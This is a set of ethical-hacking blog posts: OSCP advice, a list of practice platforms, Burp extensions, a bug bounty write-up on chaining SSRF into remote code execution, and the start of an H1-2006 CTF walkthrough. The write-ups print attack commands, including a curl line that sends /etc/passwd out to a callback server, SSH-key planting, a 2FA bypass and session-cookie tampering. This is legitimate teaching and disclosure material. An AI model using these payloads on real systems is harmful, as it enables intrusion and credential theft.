OSCP Certification: All you need to know

Hello ethical hackers! In this episode, you will learn everything related to OSCP certification. What is OSCP? Why is it a strong certification? What sets it apart? What are the requirements? How to properly prepare for the exam? What to do the day of the exam? And what’s next once you earn your OSCP certification?

OSCP Certification introduction

OSCP stands for Offensive Security Certified Professional, it is Offensive Security‘s most famous certification. Everyone in the industry respects it, and for good reason. In fact, it proves that its holder can perform a penetration testing assignment using a methodical approach and can write a professional pentest report to deliver to the client. Moreover, it demonstrates that its holder can work under pressure and think outside the box when conducting penetration testing. By the way, the motto of OSCP is Try Harder!

OSCP Syllabus, course material, the lab and more

This certification has a syllabus that covers key aspects of penetration testing, it comes with the PWK course, a lab for training and a video package to support the course.

OSCP Syllabus

OSCP covers many penetration testing areas, from information gathering to exploitation. You get to apply your knowledge on various Linux distributions and Windows versions. These machines run a plethora of services. But perhaps the most important aspects I really enjoyed learning was SSH tunnels, privilege escalation and buffer overflows.

With the new 2020 update, this certification offers even more value, especially with the introduction of Active Directory hacking and Empire, which are essential in most real-world infrastructure penetration testing.

PWK course and videos

You won’t pay for the certification voucher only, the price covers the PWK course, which is a PDF file that goes from the basics to the advanced hacking techniques throughout the different chapters. You will learn some Linux commands to work in the terminal, most of the basic web application vulnerabilities, basics of buffer overflow, Active Directory hacking, SSH tunnelling, etc. Each chapter or section comes with a set of exercises that help you apply your knowledge. Besides, if you join the solutions to your final report, you will get 5 extra points.

To support the course PDF, you will get a set of videos that go through the whole concepts in the PDF and demonstrate the concept in practice.

The OSCP lab, price and why I chose it

When I wanted to get certified, I had many certification options. However, I chose OSCP because it provides many key points I was looking for:

  1. It has a hacking lab to practice the course material: I love learning through practice and the lab in the OSCP course is amazing. You will have to breach the perimeter, then work your way through until you own the entire infrastructure.
  2. The exam involves performing actual penetration testing on a new lab and write the report: I wanted to get a great value for the price I am paying and the OSCP exam is also practical, which means that I will apply what I have learned in yet another lab.
  3. With the previous points, the price is reasonable compared to other certifications.
  4. It is respected in the security community: This is reflected in both job offers and the salary. Almost all security offers from junior to senior level include OSCP among the other security certifications. This means that you don’t get a piece of certifying paper, but you actually increase your value in the job market.

Alright, now that you have a general view of what the OSCP is, let’s see what do you need to get it.

OSCP requirements before you apply for it

Although you don’t need prior hacking knowledge to go through this certification, I highly recommend you get comfortable at lease with the basics. OSCP is not for the faint of heart. If you under-estimate it, I doubt you will stand for long.

These are the things I recommend you learn:

Get yourself comfortable working with the terminal

You will spend most of your time on the lab working on remote machines which are only accessible through SSH. Even the Windows machines won’t be exploitable unless you use the command prompt to run your exploitation scripts. Therefore, it is essential to learn at least the basic Linux terminal commands that will help you navigate through the filesystem, install software, copy files around and connect to remote servers.

Learn the basics of web

There is a considerable amount of web applications in the lab, so I advise you to learn how they work. Take your time to understand how the HTTP Protocol works, what is the difference between the client and the server, etc. This will ease your way through the course as you will already have a general view of what they are talking about.

Learn and practice basic hacking techniques

Although the OSCP course teaches you the hacking techniques and concepts from the beginning, I recommend you learn them beforehand. That way, you can quickly go through them and focus on more advanced concepts like exploit development, SSH tunnelling and looting all the machines in the lab. There are many hacking websites which will help you achieve that. They offer great challenges that you can play with, solve and learn along the way. Feel free to read the dedicated article about it.

Practice your skills on boot2root machines

Once you feel comfortable with the hacking challenges, I encourage you to take more time to root some machines. This will allow you to adapt to the kind of hacking activity that you would find during the OSCP lab and the exam. The article I mentioned earlier contains a list of the websites where you can achieve that.

Code something with Python

Many exploits are available in python, and sometimes you will have to modify them to work for your situation. Therefore, knowing Python will help you take full advantage of the labs and speed up your hacking process. Besides, since Metasploit is forbidden in the exam apart from one shot, you have to convert one or two modules to your own Python scripts as a means of practice during your exam preparation.

Understand basic C code

The OSCP course contains a full chapter on Buffer Overflows. Although the concepts are basic, you will still have a hard time understanding and building your exploits if you don’t know anything about the C language. Besides, some machines require you to customize some C code in order to successfully exploit the vulnerability.

The process of applying for OSCP

Do you already have what it takes? Good! You can apply for it online and receive your package. You have three options, either 1, 2 or 3 months of lab access. I recommend you take the 3-month package so that you give yourself enough room for practice.

Expect to present a proof of identity and to use a corporate email. If you don’t have the latter, you can contact the support and tell them that you have no corporate email.

Once the payment is processed, you will get your package containing the course PDF, videos and the VPN access for the lab.

OSCP preparation for the exam

Preparation for the exam starts right when you receive your course material. See, there are some key points I want you to know from the beginning.

Do the course exercises and document them as you go

You will feel lazy solving the exercises and documenting them as you go through the course, but it’s a crucial thing to do. See, documenting your progress and taking notes is a soft skill that you should have if you want to develop quickly. It has two benefits, the first one is that you will secure your extra 5 points in case you need them to pass the exam. Secondly, you will develop the habit of taking notes, which will help you during the exam. Which brings us to the second advice.

Take organized notes

You don’t want to redo all the exploit research, rebuild all your exploits or start Googling how to transfer files between machines during the exam. Everything should be noted beforehand. Your exploits should already be built and organized. Your payloads should be well structured. This will save you tremendous time during the exam.

Take your time to root all the machines in the lab

I recommended you to apply for 3 months of lab access so that you give yourself enough time to grasp, practice and hone your hacking skills on the lab. A friend of mine had a full-time job, a family and purchased one month. Although he was really smart and had already the skills, he simply couldn’t keep up with so many duties on his plates.

OSCP exam

Once you root all the lab machines, I think you will be ready for the exam. It’s not a requirement, but I highly recommend you do it first.

As you might have already known, the OSCP exam is 24 hours long and you have to score at least 65 points to pass. I say 65 because you can send the exercises solution along with the exam report and get 5 extra points, which would complete your minimum 70 points to pass the OSCP exam. You won’t have to pivot between the machines though, each one is separate.

Here is a list of tips that will help you the day of the exam:

Revise your notes

You should have all your notes at your hand. That’s when your prior preparation and documentation will pay off. The notes should contain your code snippets for various tasks such as connecting to different services, transferring files using different methods, bind and reverse shells, your exploits already built and grouped by target OS, etc.

Don’t upgrade your Kali machine

Just work with the version you had throughout the course. Upgrading your machine can introduce surprises that will force you to waste your time troubleshooting instead of solving the exam challenges.

Take regular breaks

You can’t stay productive the entire exam without food and good hydration. So, reserve some time for breaks, it will make you feel better, refreshed. Sometimes, all you need is another perspective, which you can’t get when you are stuck in front of the computer. You just have to notify the proctor, as explained in the official FAQ section.

Start with the Buffer Overflow challenge

One of the machines contains a buffer overflow vulnerability that you will be able to solve without problems if you had solved the one in the course. I recommend you start with it first. This will boost your confidence to tackle the remaining ones.

Beyond OSCP

Hopefully, you are now certified OSCP, congratulations! You have proved that you “tried harder” and you now have the skills required to conduct penetration testing in the real world. However, this is not the end of your journey and you are certainly not an expert. OSCP is a great beginning for a bright future in penetration testing, so don’t waste it! Think about niche areas you want to focus on. For example, you may want to learn more about exploit development, web hacking or Active Directory attacks. Learn the subject and pursue some certification in the field.

OSCP Certification: Congratulations!
OSCP Certification: Congratulations!

Other questions you may ask

OSCP vs CEH: Which is the best?

For me, the short answer is OSCP. The long answer is…it depends! See, CEH is great if you are barely starting in the infosec industry and you still want to quickly get a job even if you don’t have enough practice. In fact, it is recognized by most companies and most of the candidates would have it. So it makes sense to apply for it when you are just starting.

However, I don’t think we should compare it to OSCP. In fact, the exam is a 4 hour Multiple Choice Questions. If you want to become a CEH Master, then you have to pass the 6-hour exam which contains 20 mini-challenges. So, both challenges combined are less than 50% of the 24-hour exam challenge on the OSCP. Besides, OSCP wins at the price as well. In fact, with three months of lab access, the total price is 1349USD, compared to 1898USD for the CEH (The Multiple Choice Questions and the Practical exams, plus registration fees). In my opinion, if budget is a concern for you, you may want to apply for CompTIA PenTest+ instead.

Is a certified OSCP salary higher than CEH?

According to payscale.com, the average OSCP salary is 91,538USD, compared to 82,164USD for CEH at the time of writing this article.

Conclusion

Certifications are a good way to prove that you possess a set of skills, and OSCP is a great one for penetration testers. However, getting certified shouldn’t be the goal. In my opinion, the focus should be on acquiring and applying your hacking skills. That’s what counts!

I hope you found this content helpful and wish you good luck in your OSCP journey. I encourage you to subscribe to the newsletter and receive an article every Friday to end your week on a hacking content. If you are new to hacking and want to learn the basics, read the OWASP Top 10 theory and hands-on article on thehackerish.com and apply your knowledge on the lab which supports them. If you enjoy learning with videos, I invite you to watch the OWASP Top 10 Youtube playlist.

Best hacking websites for ethical hackers

I often get asked from many of my friends and colleagues about where should I start to learn to hack. My answer always includes a handful of hacking websites which I found very useful during my journey in this awesome industry. Today I will share with you the best hacking websites you should definitely use.

For those who stumbled upon this blog for the first time, it is dedicated to helping you learn and become a better ethical hacker, the topics cover web application hacking, penetration testing and bug bounty hunting.

Why are hacking websites important?

I always say that you can’t learn hacking without practice. Unfortunately, you can’t practice by hacking arbitrary websites because it is unethical and illegal, to say the least. You could develop your own web applications and then hack them, but that would take a lot of time and effort especially if you are not a developer. This is where hacking websites come into play. In fact, they offer a practical playground ready to be hacked by everyone. If you want to focus on learning a specific vulnerability, you can solve the corresponding challenges. Alternatively, if you want to hack a machine from the start and become root, you can play boot2root challenges. You can even participate in live Capture The Flag challenges, either alone or with a team, and play against other teams. This offers a tremendous opportunity for you not only to learn hacking but also to sharpen your skills and keep them up to date.

How to learn from hacking websites?

Some hacking websites offer challenges without solutions. You might think that this is not practical, but it’s the best way for you to learn. In fact, rushing into the solution without putting in enough effort will not benefit you in any way. When you take your time to understand the problem and solve it on your own, you will never forget it! Besides, real-life hacking involves so many rabbit holes, long hours trying to understand and exploit security vulnerabilities. So, you will be learning while preparing yourself for your future real targets.

Google Gruyere: A hacking website from Google

Google gruyere is a deliberately vulnerable web application that you can hack to learn about many security vulnerabilities. It is available online, which means that you don’t need any lab setup. It includes well-known issues like Cross-Site Scripting, Command Injection and CSRF. Additionally, you can also download the source code to inspect it and perform white-box testing.

Google gruyere is great for beginners because it explains each vulnerability at a time with a corresponding challenge. If you feel blocked, you can show the collapsed hints. Even though it also includes the solution, I don’t recommend you see it.

Google Gruyere: A hacking website from Google

Pros

  • Easy to use.
  • Great explanations.
  • Very useful for absolute beginners.

Cons

A limited number of vulnerabilities.

Vulnhub: The best hacking website for local boot2root machines

If you have a slow connection and you want to eliminate network latency when you are doing ethical hacking, then VulnHub is your friend. In fact, it is a hacking website which collects virtual machines that you can download one time and install locally on your host using virtualization software such as VirtualBox or VMWare. VulnHub offers so many machines in all difficulty levels. In such scenarios, you boot the virtual machine and your goal is to become root. This is known as a boot2root challenge.

For each machine, there is usually a publicly available solution, but I don’t recommend you read it until you exhaust all the ideas you have in mind. Unfortunately, there are no hints and no forum to exchange ideas between the community members.

Hacking website VulnHub.com: ne of the many VM machine that it offers you to hack
Hacking website VulnHub.com: ne of the many VM machine that it offers you to hack

Pros

  • Offline hacking eliminates network latency.
  • A large choice of Virtual Machines to choose from.

Cons

  • There is no forum.
  • Sometimes, you need to troubleshoot some networking issues when the VM is not reachable from your host machine.

Root me: My old favourite hacking website

Root-me.org is a mature hacking platform that you can use to practice ethical hacking. It is much more than just a simple hacking website. In fact, it offers challenges in many areas, such as web, cryptography, cracking, networking and more. Besides, it hosts CTF boot2root rooms that you can use to boot and hack a live target to become root. Some of these machines come from VulnHub, which makes it convenient for those who don’t like to set up a personal lab. Furthermore, it has a leaderboard and a strong and live community that you can interact with it using IRC or through the forum. Additionally, it offers professional services for companies which seek employees, hacking training, etc.

This ethical hacking platform provides solutions for the challenges it offers. However, you can’t see one unless you solve the corresponding challenge first. This is a great feature because it encourages you to make an effort on your own. To help you during this tough process, it provides you with related documentation that you can use to understand and solve the challenges on your own. Besides, you can find hints in the forum threads, post a message in the IRC chat, or even contact someone who has already solved the challenge.

Root me: My old favourite hacking website

pros

  • Four languages: English, French, German and Spanish.
  • Diversified challenges.
  • Strong community.

cons

Honestly, I don’t have any. It’s a great platform!

hackthebox: The hacking website for OSCP

After I became top 100 on root-me and rooted a handful of CTF machines, I wanted to tackle challenges similar to the OSCP certification. I Google “OSCP like machines” and I find hackthebox.eu. They offer most of what root-me.org has, with some key differences.

Firstly, you can’t register unless you hack your way in. After you find the flag, you can log in to the platform. It’s not hard to solve that preliminary challenge; it’s just a way to prove that you deserve having an account on this hacking website.

Once I log in, I notice that the user interface is more elegant than the one of root-me.org. I know design taste is a matter of perspective and I don’t really judge a platform by its appearance, but this one just felt professional. On the menu on the left, you can download the VPN file, discover the challenges, the labs, the forum, etc.

hackthebox: The hacking website for OSCP

Accessing this hacking website through the VPN

One of the key differences between root-me and hackthebox is VPN. In fact, to hack the available machines on the latter, you download your connection pack. Then, you connect to the infrastructure with OpenVPN, an open-source software that allows you to connect using VPN. Don’t get scared if this seems new to you; everything is explained on the platform and you just have to follow the steps.

The challenges and boot2root machines

On the one hand, hackthebox offers challenges the same way root-me does, but the number is still way lower. You don’t need a VPN to access the challenges.

On the other hand, hackthebox offers a wide range of boot2root machines. If you want to prepare for your OSCP certification, this is where you should spend most of your time.

In the free plan, you have access to the new ones. Once they retire, you need a paid plan to be able to hack them. As I mentioned earlier, you need to set up a VPN connection to reach them.

The labs

In addition to the awesome boot2root machines, hackthebox offers many hacking labs. These are a couple of machines that compose a full infrastructure. Few of them are accessible directly through the VPN, but most of them require you to obtain a foothold on the infrastructure.

Some of these labs are Active Directory infrastructures developed by hackthebox itself, others are provided by companies which seek ethical hackers to join them. You can find all of them on the menu on the left.

The community

You can join the community and interact with its members through many communication channels, such as the forum, the Discord server and the Mattermost space. You can also send private messages to members and broadcast messages using the shoutbox.

All these communication channels are available on the left menu.

Pros

  • Great quality machines, ideal for OSCP certification preparation.
  • Diversified challenges.

Cons

I honestly don’t see any!

TryHackMe: A new rising hacking website star

This hacking platform is recent. However, it contains exhaustive hacking material in new forms I haven’t seen in any other hacking website.

TryHackMe: A new rising hacking website star

Accessing TryHackMe challenges

As it is the case with hackthebox, this platform also provides a VPN package that you can use to access the hacking challenges. However, only UDP is supported. If you are in a network which blocks UDP, you can’t currently bypass it as you would do with hackthebox.

Hacktivities

These are corners which focus on teaching one thing. For example, if you want to learn the basics of penetration testing, there is a room for that. The same thing for learning how to use Linux and the list goes on. All you have to do is search for the room you want using a filtering system, then enroll and start learning. Some rooms need a paid subscription.

Learning paths

If you are a total beginner in a subject, the learning paths help you cover the basics. These are paid by definition.

King of the Hill

These are CTF challenges like you would see in a typical boot2root scenario, with a key twist! In fact, you can put your name in the file under /root/king.txt to become the king and start gaining points. The players not only exploit the vulnerabilities within the machine, but they also strive to earn the highest score by staying king as long as possible.

The community

You can interact with the community through many communication channels, such as Discord, Twitter, Direct messages, etc.

Pros

  • The rooms and the learning paths are great to learn new subjects.
  • King of the Hill are fun CTFs.
  • The community is live.

Cons

  • The VPN package doesn’t support TCP.

hacker101: The hacking website for bug bounty hunters

I’ve talked this hacking website provides on previous episodes, such as when I talked about my bug bounty methodology. This hacking website provides a solid playground for bug bounty hunters with diversified challenges that will twist your mind. They are designed to mimic the real bugs you would find during bug bounty hunting. Besides, you collect points for each challenge you solve, which allows you to get an invite from a private program on HackerOne. However, it doesn’t only provide hacking challenges. In my opinion, there are two other resources you can learn from besides the hacking challenges.

The first one is the Discord server where you can connect and engage with the bug bounty community members.

The second resource I want to draw your attention to is the introductory videos that explain many subjects that relate to bug bounty hunting. Things like web vulnerabilities and mobile hacking.

Pros

  • Great videos resources for future bug bounty hunters
  • The challenges are unique and similar to what you would find during bug bounty hunting.
  • Vibrant bug bounty community in the Discord server.

Cons

The hacking content and the features are still quite limited compared to other hacking platforms.

Which one of these hacking websites to choose?

You might have started to feel overwhelmed with all these hacking websites and platforms. I hear you wondering where should I start? And do I have to subscribe and use all of them?

The answer is no! While each hacking website and platform brings its unique features and user experience, all of them share the same core building blocks, which are hands-on challenges. As the number of such resources contains to grow, you just have to choose one or two which suit your taste and needs. Occasionally, you may experiment with new rising hacking websites and platforms, which might replace your current ones.

I started my hacking journey when the major hacking websites I had were VulnHub and Root-me around. Once I discovered hackthebox, I got addicted to their machines, especially since I was preparing my OSCP certification. Lately, I came across tryhackme, which offered a great gamification experience on top of the practical hacking content.

Conclusion

In this article, I tried to collect the best hacking websites and platforms that will surely help you in your hacking career. Whether you are an absolute beginner or an advanced ethical hacker, I’m sure you will find a match.

However, this is not a complete list. There are other hacking websites like OWASP WebGoat and OWASP JuiceShop, which I have used as a hacking lab for the OWASP Top 10 training. Then, there is Portswigger Academy which I already covered in a previous episode. And finally, there is the classic CTFtime, which is dedicated to Capture the Flag events.

Bug bounty write-up: From SSRF to $4000

Hello ethical hackers and bug bounty hunters! Welcome to this bug bounty write-up where I show you how I found a Server-Side Request Forgery vulnerability (SSRF). Then, I will explain how I was able to escalate it to obtain a Remote Code Execution (RCE). Finally, you will see how it is possible to gain a full SSH shell on the vulnerable server.

If all this seems intimidating for you, let me tell you that you shouldn’t be; just make sure you stick with me until the end. I promise you are going to learn many things today!

What app is this bug bounty write-up targeting?

Before diving into the details, let’s understand what the application does.

Simply put, the web application I hacked is a file-sharing system that allows users to securely exchange files. It also has an administrative panel dedicated to the administrators for management purposes. They can create users, configure internal servers and networks, etc.

To honour the responsible disclosure policy, I will not tell the name of this application. However, this does not affect what you will be learning. You can definitely apply these tips and tricks on the bug bounty programs or the penetration testing projects you are working on.

Bug bounty write-up phase 1: Enumeration

The first phase of any security testing is Enumeration. In my bug bounty methodology, I explained what are the key questions you need to answer during this phase.

In the context of this application, I focused on the administration panel since it contained many interesting features. One of them is the possibility to configure a migration server. This feature has a multi-stage wizard.

Whenever I see a complex feature, I tend to put it at the top of the list since the developers will likely make more mistakes. And this particular case was no different!

In fact, during one of the many configuration steps, the application asks for the IP address or the hostname of the migration server. For me, I started hearing inner-voices screaming: SSRF! SSRF! SSRF!

Bug bounty write-up phase 2: Exploiting the SSRF

Wait…What is SSRF in the first place?

SSRF stands for Server-Side Request Forgery. It is a security vulnerability which happens if you can meet two conditions:

  1. The application initiates a request to a target server.
  2. You control part or all of the target server through user input.

SSRF can be handy to pivot inside the IT infrastructure of your target. This is possible because the vulnerable server generally runs next to neighbour systems which are not directly accessible. You can see this in action when I demonstrate how I accessed the APK file during the Hackerone H1-2006 CTF challenge write-up.

Exploiting the SSRF

In the case of this web application, I simply put my web server’s hostname in the migration server’s input field. Upon hitting the Next button, I received an HTTP callback. This means that the application takes the hostname input and initiates an HTTP request to a server of my choice.

What is the impact?

Receiving a callback is not necessarily a security issue unless the server discloses sensitive data in the request. You must test if you can reach internal assets. In other words, you should be able to access services which are not directly exposed. Unfortunately, many bug bounty hunters fall for this mistake and their reports get closed as Not Applicable to Informative.

In the case of this web application, I get different error messages depending on whether there is a service running or not, but that’s all about it! I can’t interact with those services. Therefore, this SSRF is not impactful enough.

But wait! Maybe I can run arbitrary commands and exfiltrate the results in the callback.

Escalating to Remote Code Execution (RCE)

This time, instead of using my domain as a callback, I injected an operating system (OS) command as part of the callback subdomain. Technically, I used the payload “whoami.mycallback.server. Consequently, I got an HTTP request callback to uzer.mycallback.server !

If you don’t understand the above payload, here is what’s happening:

  1. The whoami runs the command whoami. This is possible thanks to the back-ticks around it. In this case, the command returns uzer .
  2. The server sends an HTTP callback request to my server while disclosing the result of the OS command in the subdomain part.

This is clear proof that I can successfully run OS commands on the vulnerable server, which is all good, but can I run arbitrary commands?

Bug bounty write-up bonus: Getting a full shell

While the proof-of-concept (POC) that I have so far demonstrates impact, I wanted to be sure I’m getting the full bug bounty. To do that, I needed to prove that I can run arbitrary commands, not just single-word commands like whoami.

To achieve this, I needed to read and write files. You will understand why shortly, but for now, let’s see how we can fulfil those two requirements.

Reading internal files

Instead of using whomai, I run curl -F ‘@/etc/passwd mycallback.server’.mycallback.server. Therefore, I exfiltrated the content of the file /etc/passwd in the POST data which I receive back on mycallback.server.

Although I was using a mal-formatted hostname syntax in my payload, I still could run the OS command since the server evaluates it before anything else.

bug bounty write-up: reading arbitrary files
bug bounty write-up: reading arbitrary files

Writing to internal files

To demonstrate the ability to create and edit the server’s files, I run echo test | tee /tmp/POC. Then, I fetched its content using the same technique I used to read the /etc/passwd file.

Finally, getting the SSH shell

Because the server is running a publicly accessible SSH server, what if I could log into it without any need for a password?

To achieve this, the steps are as follow:

  1. Generate a key pair using the command ssh-keygen on my attacking machine.
  2. Append the public key to the file /home/uzer/.ssh/authorized_keys on the vulnerable server using the same technique I used earlier to write the file /tmp/POC.
  3. Log into the SSH server using my private key and the user uzer using ssh -i private.key uzer@vulnerable.server .

As a result of this clear and precise impact, the team quickly triaged my report and awarded me with the highest bounty.

Bug bounty write-up: Getting the reward
Bug bounty write-up: Getting the reward

Conclusion

Chaining vulnerabilities can be devastating. In this bug bounty write-up, you learned how to combine both SSRF and Command injection to achieve Remote Code Execution on the vulnerable server. Besides, you learned how to gain a stable shell by leveraging the exposed SSH server. Finally, you learned that it’s important to demonstrate a clear impact if you want to receive the highest bounty.

I hope you enjoyed reading this article as much as I enjoyed writing it. Until the next episode, stay curious, keep learning and go find some bugs.

Top 10 Burp Suite extensions to use in bug bounty hunting

Hello ethical hackers and bug bounty hunters. Today, you will learn the top 10 Burp Suite extensions I found myself using over and over again. They assist me in different areas, such as pretty-printing data, actively testing for specific vulnerability classes, parsing API definitions and brute-forcing.

Wsdler is your burp extension for SOAP

During your penetration testing or bug bounty hunting, you might encounter SOAP-based APIs. They are web services that you can consume according to a file which describes the actions they expose and how to call them. This file is based on the Web Services Description Language (WSDL).

Whenever you find one, you can parse it using Wsdler. Additionally, this Burp extension constructs the HTTP requests as the API expects them.

Wsdler Burp extension showing the HTTP request to send
Wsdler Burp extension showing the HTTP request to send

JSON Beautifier

Before Burp Suite rolled its Pretty button feature, this was the first extension I needed to install after any fresh Burp Suite setup. Nowadays, the majority of web application use RESTful APIs which generally use JSON objects to transfer data between the client and the server. JSON Beautifier prettifies the inline JSON data to make your life easier.

JSON Beautifier burp extension prettifies JSON data
JSON Beautifier burp extension prettifies JSON data

This Burp extension is free and can be used in either Burp Suite Community Edition or Professional.

J2EEScan is a great burp extension for Java EE applications

In my penetration testing assignments, I usually test J2EE web applications, which are Java web applications that support enterprise-level requirements, such as scalability and availability. Therefore, I use J2EEScan to assist me in finding vulnerabilities for the most common CVEs that target J2EE technologies.

The extension adds test cases to the BurpSuite Scanner. Therefore, there no additional configuration after you install it. All you have to do is run a scan and wait for vulnerabilities in the Issue Activity panel in the Burp’s Dashboard tab.

J2EEScan showing a list of issues in Burp Suite issue tracker
J2EEScan showing a list of issues in Burp Suite issue tracker

JSON WEB Tokens, the Burp extension, not the standard

According to jwt.io, JSON Web Token is:

[…] an open standard […] that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.

JWT token parsed
JWT token parsed

When you do bug bounty hunting or web application penetration testing, it is a pain to manually copy the tokens from Burp Suite and paste them into your favourite parsing tool, such as jwt.io. This extension allows you to parse the token within Burp, the same way JSON Beautifier prettifies inline JSON objects.

SAML Raider

For those of you who don’t know what SAML, it’s a standard used in Single Sign-On (SSO) for authentication. Here is a brief definition from Wikipedia:

Security Assertion Markup Language (SAML) […] is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. SAML is an XML-based markup language for security assertions.

Since SAML requests contain long base64 encoded XML data, it is impractical to manually parse them. SAML Raider automatically performs the parsing within Burp Suite. Additionally, you can use it to perform known attacks against your target web application. In fact, it comes with pre-configured exploitation techniques, such as signature wrapping, that you can easily run to test for weaknesses in SAML implementations.

SAML request parsed
SAML request parsed

AuthMatrix burp extension for broken access control

I’ve already covered this great extension in a Youtube video. It allows you to test for broken access control vulnerabilities, such as IDOR, unprotected endpoints, etc. The flow is fairly simple. Firstly, you browse your target application and send any interesting requests to this extension. Then, you create the target users, such as the attacker and the victim. Then, for each user, you configure the session cookies, and any HTTP headers containing tokens such as JWT or API keys. Lastly, you hit the run button and let AuthMatrix highlight the suspicious requests in red.

All requests are protected against broken access control
All requests are protected against broken access control

HTTP request smuggler

This is the go-to Burp extension when you want to easily detect and exploit a web application through HTTP Request Smuggling.

It detects whether you have a CL.TE or TE.CL condition and reports it directly into Burp Suite’s Dashboard tab, under the Issue Activity menu where all the issues get listed.

If you have no clue about what do CL.TE and TE.CL means, I invite you to read this article from the authors of Burp Suite.

Turbo Intruder

This extension allows you to send large numbers of HTTP requests to a target web application. If you have Burp Community, you know that you can only work with a limited version of the Intruder which does not support multiple threads. Instead, you can use Turbo Intruder.

Since this Burp extension uses a Python snippet that you can edit, I recommend you get familiar with the basics of the Python programming language. That way, you can customize Turbo Intruder to bring more flexibility when you brute force.

Upload Scanner

Whenever you encounter a file upload feature that uses the multipart mime type, I encourage you to give this Burp extension a try. In fact, you can use it to probe the upload features for many security issues.

It fuzzes all the parameters using a set of organized categories that you can choose from. If the application retrieves the uploads, you can configure Upload Scanner to fetch the files to verify cases like XSS.

There are plenty of other features in this awesome Burp extension. I encourage you to learn more about it. Additionally, I prepared this Youtube video to show you how it works.

Java Deserialization Scanner

This Burp extension checks for insecure deserialization issues in Java applications. It uses pre-built serialized java objects to probe the application for a callback. You can configure this feedback to be either a time delay or a callback. If the application sleeps for some time before responding, or if you receive a hit as a callback, the extension highlights exactly what payload has triggered it. Therefore, you can prepare your own payload using tools such as ysoserial.

If you want to learn how insecure deserialization works and how to exploit it with real examples, I invite you to read this article.

Conclusion

There are so many tools, extensions and methodologies available a few clicks away. However, I should mention that you don’t have to use them all. Take some time to discover how they work, then pick the ones that suit your taste and your needs.

Hopefully, this episode has shown you some new Burp extensions that might help you in your next assignment.

Until the next episode, stay curious, keep learning and go find some bugs!

Capture the flag writeup for the H1-2006 challenge

ctf writeup walkthrough

Introduction

Hello ethical hackers! Today I will share with you my capture the flag writeup for H1-2006. It details my process of solving this awesome challenge organized by HackerOne. 

One of the objectives I have this year is to get invited into a live hacking event. In an attempt to achieve this, I accepted the challenge of solving the HackerOne 2006 CTF. During the process, I had the chance to practically exploit vulnerabilities I had only read about. Besides, I enjoyed writing custom scripts to automate some tasks. Finally, I learned how to use some advanced features of the tools I commonly use.

I divided this CTF writeup into several sections, each one marks a milestone in the CTF journey. Every section is further divided into smaller parts to easily describe the vulnerabilities and how I exploited them.

Subdomain enumeration

The first step in this CTF writeup is checking the scope. This is crucial to avoid testing out-of-scope assets. In the policy page, the wildcard domain *.bountypay.h1ctf.com is in scope.

If you have read my bug bounty methodology, you know my preferred tools for subdomain enumeration.

Running assetfinder and httprobe on the target reveals the following web applications:

assetfinder --subs-only bountypay.h1ctf.com | sort -u | httprobe

http://app.bountypay.h1ctf.com
http://bountypay.h1ctf.com
http://api.bountypay.h1ctf.com
http://software.bountypay.h1ctf.com
http://staff.bountypay.h1ctf.com
http://www.bountypay.h1ctf.com
https://staff.bountypay.h1ctf.com
https://www.bountypay.h1ctf.com
https://app.bountypay.h1ctf.com
https://software.bountypay.h1ctf.com
https://bountypay.h1ctf.com
https://api.bountypay.h1ctf.com

Directory brute-forcing

For this CTF writeup, I chose to perform a light directory bruteforce to spot any low hanging directories using ffuf and the quickhits.txt wordlist from the SecLists project.

ffuf -u HOSTDIR -w quickhits.txt:DIR -w hosts:HOST -mc 200

I find several interesting folders as you can see below.

CTF writeup step: Directory bruteforcing reveals some interesting files
CTF writeup step: Directory bruteforcing reveals some interesting files

All subdomains are directly accessible, except for the software subdomain which returns an HTTP 401 status code, which indicates that it might be restricted to internal users only. This will be useful later.

Obtaining the foothold

In each CTF writeup, I make sure to highlight the initial foothold.

The /.git/config file from the screenshot above seems interesting as it usually holds details about the code repository. Fetching it using curl reveals the following highlighted GitHub remote origin.

CTF writeup: /.git/config file shows a remote origin
CTF writeup: /.git/config file shows a remote origin

The request-logger repository contains a PHP file which logs HTTP requests into a log file named bp_web_trace.log. Indeed, fetching that file reveals some base64 encoded content. The following one-liner grabs the file and decodes it.

curl https://app.bountypay.h1ctf.com/bp_web_trace.log | cut -d":" -f2 | xargs -n1 -I{} sh -c "echo {} | base64 -d" | js-beautify

As shown in the screenshot below, the logs disclose plaintext login credentials of the user brian.oliver, a certain challenge_answer value and a request to the /statements endpoint. For now, I want the credentials.

CTF writeup: Oliver's credentials disclosed in the log file
CTF writeup: Oliver’s credentials disclosed in the log file

2FA bypass

The following section of this CTF writeup will explain the process of bypassing 2FA.

Using the previously gathered credentials, I log in to https://app.bountypay.h1ctf.com. However, there is a 2FA feature preventing me from signing in.

Looking at the POST request which is used to send the 2FA code, I noticed a POST parameter named challenge_answer, which I previously gathered from the logs. However, it was tied to another POST parameter named challenge, which seems to be an MD5 hash.

Luckily, the challenge parameter was simply the MD5 hash of the challenge_answer. Therefore, it is possible to completely bypass the 2FA feature by generating the MD5 hash of the string bD83Jk27dQ and sending it in the 2FA request as shown below.

2FA HTTP request and response
2FA HTTP request and response

As you can see, a new session named token has been issued in the Set-Cookie HTTP response Header, allowing access to Oliver’s BountyPay customer dashboard.

Accessing internal files

In this part of the CTF writeup, I will show you how to combine multiple techniques to bypass authorization.

Can Oliver pay May’s bounties? Unfortunately not! However, loading the transactions triggers a request to the API, one of the assets I previously found during the subdomain enumeration process. The following screenshot shows a call to the /api/accounts endpoint with Oliver’s account. Notice the account ID F8gHiqSdpK is appended to the API call, this will be useful shortly.

The statements endpoint request's the API
The statements endpoint request’s the API

Abusing weak session management

The following command decodes Oliver’s session and shows the result.

echo eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9 | base64 -d

{"account_id":"F8gHiqSdpK","hash":"de235bffd23df6995ad4e0930baac1a2"}

As you can see, the session cookie is a base-encoded JSON containing Oliver’s account ID and a hash. Since the account ID is used as part of the endpoint to the API, what if the back-end trusted this input?

To validate this hypothesis, the following token was constructed to call the /statements API endpoint. 

{"account_id":"F8gHiqSdpK/statements?","hash":"de235bffd23df6995ad4e0930baac1a2"}

It sends the same request as before, with the main difference that we control part of the API. The question mark after statements is used to truncate the API path. If we get a valid response from the API, it is a strong indication that it trusts the account ID attribute inside the session cookie. The following screenshot confirms the hypothesis.

The token session cookie controls part of the API call
The token session cookie controls part of the API call

Exploiting a path traversal vulnerability and abusing the trust relationships

